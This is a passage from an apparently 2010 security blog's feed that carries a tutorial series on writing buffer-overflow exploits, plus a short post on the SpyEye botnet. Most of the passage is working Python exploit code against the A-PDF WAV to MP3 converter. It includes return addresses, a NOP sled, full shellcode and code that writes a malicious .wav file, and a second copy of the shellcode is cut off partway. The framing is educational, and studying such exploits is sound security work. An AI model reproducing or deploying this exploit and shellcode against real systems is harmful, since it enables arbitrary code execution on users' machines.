<span style="color: #808080; font-style: italic;"># Exloit By:    Dr_IDE</span>
<span style="color: #808080; font-style: italic;"># Tested On:    XPSP3</span>
<span style="color: #808080; font-style: italic;"># Date:        August 18, 2010</span>
<span style="color: #808080; font-style: italic;"># Download:     http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html</span>
<span style="color: #808080; font-style: italic;"># Reference:    http://www.exploit-db.com/exploits/14676/</span>
<span style="color: #808080; font-style: italic;"># Usage:    Import File, Select It, Click Play, Calc.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># EDB Notes:</span>
<span style="color: #808080; font-style: italic;"># This exploit uses SEH to gain code execution, while EDB 14676 uses a direct</span>
<span style="color: #808080; font-style: italic;"># EIP overwrite which is operating system specific.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;">#################################################################################</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># windows/exec - 303 bytes  CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH</span>
&nbsp;
buff = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">4128</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
<span style="color: #808080; font-style: italic;"># 76541842 ret in user32.dll</span>
<span style="color: #808080; font-style: italic;"># 00428F3F jmp esp in wavtomp3.exe</span>
eip = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>76&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
esp = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>3f<span style="color: #000099; font-weight: bold;">\x</span>8f<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
nops = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">4</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
shellcode = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>b8<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>ba<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>da<span style="color: #000099; font-weight: bold;">\x</span>b1<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>d9<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>f4&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5b<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>fc<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>b7<span style="color: #000099; font-weight: bold;">\x</span>8c<span style="color: #000099; font-weight: bold;">\x</span>15&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ee<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>ad<span style="color: #000099; font-weight: bold;">\x</span>7d<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>1c<span style="color: #000099; font-weight: bold;">\x</span>a5<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>c3&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>3a<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>93<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>d1<span style="color: #000099; font-weight: bold;">\x</span>cc<span style="color: #000099; font-weight: bold;">\x</span>c5<span style="color: #000099; font-weight: bold;">\x</span>1e<span style="color: #000099; font-weight: bold;">\x</span>e2<span style="color: #000099; font-weight: bold;">\x</span>e0<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>cd&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>b6<span style="color: #000099; font-weight: bold;">\x</span>0f<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>87<span style="color: #000099; font-weight: bold;">\x</span>df<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>85<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>d7<span style="color: #000099; font-weight: bold;">\x</span>99&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>d3<span style="color: #000099; font-weight: bold;">\x</span>c8<span style="color: #000099; font-weight: bold;">\x</span>ae<span style="color: #000099; font-weight: bold;">\x</span>0c<span style="color: #000099; font-weight: bold;">\x</span>ef<span style="color: #000099; font-weight: bold;">\x</span>e9<span style="color: #000099; font-weight: bold;">\x</span>60<span style="color: #000099; font-weight: bold;">\x</span>1b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>92<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>dc<span style="color: #000099; font-weight: bold;">\x</span>3b<span style="color: #000099; font-weight: bold;">\x</span>28&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>07<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>93<span style="color: #000099; font-weight: bold;">\x</span>27<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>b5<span style="color: #000099; font-weight: bold;">\x</span>98<span style="color: #000099; font-weight: bold;">\x</span>60<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>8f<span style="color: #000099; font-weight: bold;">\x</span>fa&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>40<span style="color: #000099; font-weight: bold;">\x</span>26<span style="color: #000099; font-weight: bold;">\x</span>0e<span style="color: #000099; font-weight: bold;">\x</span>2a<span style="color: #000099; font-weight: bold;">\x</span>99<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>76<span style="color: #000099; font-weight: bold;">\x</span>f6<span style="color: #000099; font-weight: bold;">\x</span>8c<span style="color: #000099; font-weight: bold;">\x</span>9f<span style="color: #000099; font-weight: bold;">\x</span>86<span style="color: #000099; font-weight: bold;">\x</span>3e<span style="color: #000099; font-weight: bold;">\x</span>2a&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>7f<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>8f<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>d8<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>94<span style="color: #000099; font-weight: bold;">\x</span>ab<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>f7&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>a2<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>2a<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>a0<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>c8<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>88&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b7<span style="color: #000099; font-weight: bold;">\x</span>dd<span style="color: #000099; font-weight: bold;">\x</span>11<span style="color: #000099; font-weight: bold;">\x</span>af<span style="color: #000099; font-weight: bold;">\x</span>13<span style="color: #000099; font-weight: bold;">\x</span>85<span style="color: #000099; font-weight: bold;">\x</span>c2<span style="color: #000099; font-weight: bold;">\x</span>ce<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>a5<span style="color: #000099; font-weight: bold;">\x</span>ef<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>cb<span style="color: #000099; font-weight: bold;">\x</span>1a&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>1d<span style="color: #000099; font-weight: bold;">\x</span>fe<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>ec<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>95<span style="color: #000099; font-weight: bold;">\x</span>8e<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>fb<span style="color: #000099; font-weight: bold;">\x</span>d0<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>7e<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>73&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>8f<span style="color: #000099; font-weight: bold;">\x</span>1c<span style="color: #000099; font-weight: bold;">\x</span>7f<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>81<span style="color: #000099; font-weight: bold;">\x</span>a1<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>15<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>02&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>9b<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>84<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>09<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>86&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>97<span style="color: #000099; font-weight: bold;">\x</span>29<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>a6<span style="color: #000099; font-weight: bold;">\x</span>f4<span style="color: #000099; font-weight: bold;">\x</span>ac<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>2a<span style="color: #000099; font-weight: bold;">\x</span>d5<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>60&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>c8<span style="color: #000099; font-weight: bold;">\x</span>29<span style="color: #000099; font-weight: bold;">\x</span>9e&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
sploit = <span style="color: black;">&#40;</span>buff + eip + esp + nops +shellcode<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">try</span>:
    f1 = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Drop4.wav&quot;</span>,<span style="color: #483d8b;">&quot;w&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>    <span style="color: #808080; font-style: italic;">#No file checking, any file extension works... (.xyz .foo .abc)</span>
    f1.<span style="color: black;">write</span><span style="color: black;">&#40;</span>sploit<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
    f1.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">'[*] Success. Load File.'</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">except</span>:
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[-] Error, could not write the file.&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span></pre></div></div>

<h3>SEH</h3>
<p>Every application has a default exception handler which is provided by the OS. So even if the application itself does not use exception handling, you can try to overwrite the SEH handler with your own address and make it jump to your shellcode. Using SEH can make an exploit more reliable on various windows platforms, but it requires some more explanations before you can start abusing the SEH to write exploits.  That&#8217;s why the next tutorial will be entirely dedicated to this technique.</p>
<p>The following video shows these techniques just described:</p>
<p><object width="513" height="410"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=16338198&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1&amp;autoplay=0&amp;loop=0" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=16338198&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1&amp;autoplay=0&amp;loop=0" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="513" height="410"></embed></object></p>
<p>See you<br />
Michele `m7x` Manzotti</p>
<p>References: Thanks to <a href="http://www.corelan.be:8800/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/">Corelan</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.manzotti.eu/tutorial-write-an-exploit-part-2/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Would you be white hat if it paid more?</title>
		<link>http://www.manzotti.eu/would-you-be-white-hat-if-it-paid-more</link>
		<comments>http://www.manzotti.eu/would-you-be-white-hat-if-it-paid-more#comments</comments>
		<pubDate>Fri, 01 Oct 2010 23:51:00 +0000</pubDate>
		<dc:creator>manzotti.eu</dc:creator>
				<category><![CDATA[manzotti.eu]]></category>
		<category><![CDATA[Reti e Telecomunicazioni]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[botnet]]></category>
		<category><![CDATA[Gribodemon]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[spyeye]]></category>
		<category><![CDATA[zeus]]></category>

		<guid isPermaLink="false">http://www.manzotti.eu/?p=2124</guid>
		<description><![CDATA[If this is true or not no one knows but it is interesting to have an idea about cyber market. You can read the full interview about SpyEye, a variant of Zeus Botnet, here: - SpyEye Analysis Part 1 - SpyEye Analysis Part 2]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.manzotti.eu/wp-content/uploads/2010/10/hacker.jpg"><img class="size-full wp-image-2125 aligncenter" title="hacker" src="http://www.manzotti.eu/wp-content/uploads/2010/10/hacker.jpg" alt="" width="913" height="944" /></a></p>
<p>If this is true or not no one knows but it is interesting to have an idea about cyber market.<br />
You can read the full interview about SpyEye, a variant of <a href="http://www.manzotti.eu/analizziamo-una-botnet-con-zeus-tracker">Zeus Botnet</a>, here:<br />
- <a href="http://www.manzotti.eu/wp-content/uploads/2010/10/spyeye-analysis-en.pdf">SpyEye Analysis Part 1</a><br />
- <a href="http://www.manzotti.eu/wp-content/uploads/2010/10/spyeye-analysis-ii-en.pdf">SpyEye Analysis Part 2</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.manzotti.eu/would-you-be-white-hat-if-it-paid-more/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tutorial write an exploit Part 1 JMP to ESP</title>
		<link>http://www.manzotti.eu/tutorial-write-an-exploit-part-1-jmp-to-esp</link>
		<comments>http://www.manzotti.eu/tutorial-write-an-exploit-part-1-jmp-to-esp#comments</comments>
		<pubDate>Fri, 10 Sep 2010 15:27:05 +0000</pubDate>
		<dc:creator>manzotti.eu</dc:creator>
				<category><![CDATA[manzotti.eu]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[esp]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[jmp]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[write]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1934</guid>
		<description><![CDATA[This article begins a small series of tutorials that aims to make you understand in an easier and more detailed way how to build an exploit. The Internet is an inexhaustible source of knowledge and I also want to give my contribution. In most cases when there is an exploit which takes advantage of a [...]]]></description>
			<content:encoded><![CDATA[<p>This article begins a small series of tutorials that aims to make you understand in an easier and more detailed way how to build an exploit. The Internet is an inexhaustible source of knowledge and I also want to give my contribution.</p>
<p>In most cases when there is an exploit which takes advantage of a vulnerability, it does not work. This does not mean that there is not the vulnerability but that some small piece of the puzzle was not reassembled correctly. The goal of this first tutorial is to understand in simple steps how these vulnerabilities work, in order to write working exploits according to our needs.</p>
<p>Let’s start with this <a href="http://www.exploit-db.com/exploits/14681/">exploit</a>, which allows a buffer overflow (BOF) of the program <a href="http://www.exploit-db.com/application/14676/">a-pdf</a>, a tool to convert WAV to MP3.<br />
The exploit was tested on XP with Service Pack 3. So it doesn’t work on different platform like Win7.</p>
<p>You can download the code below:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#################################################################################</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># Title:	A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit</span>
<span style="color: #808080; font-style: italic;"># Exloit By:	Dr_IDE</span>
<span style="color: #808080; font-style: italic;"># Tested On:    XPSP3</span>
<span style="color: #808080; font-style: italic;"># Date:		August 18, 2010</span>
<span style="color: #808080; font-style: italic;"># Download: 	http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html</span>
<span style="color: #808080; font-style: italic;"># Reference:	http://www.exploit-db.com/exploits/14676/</span>
<span style="color: #808080; font-style: italic;"># Usage:	Import File, Select It, Click Play, Calc.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># EDB Notes:</span>
<span style="color: #808080; font-style: italic;"># This exploit uses SEH to gain code execution, while EDB 14676 uses a direct</span>
<span style="color: #808080; font-style: italic;"># EIP overwrite which is operating system specific.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;">#################################################################################</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># windows/exec - 303 bytes  CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH</span>
&nbsp;
<span style="color: #dc143c;">code</span> = <span style="color: black;">&#40;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>e1<span style="color: #000099; font-weight: bold;">\x</span>d9<span style="color: #000099; font-weight: bold;">\x</span>ee<span style="color: #000099; font-weight: bold;">\x</span>d9<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>f4<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>56&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4a&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>47&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4c&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>4a&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span>
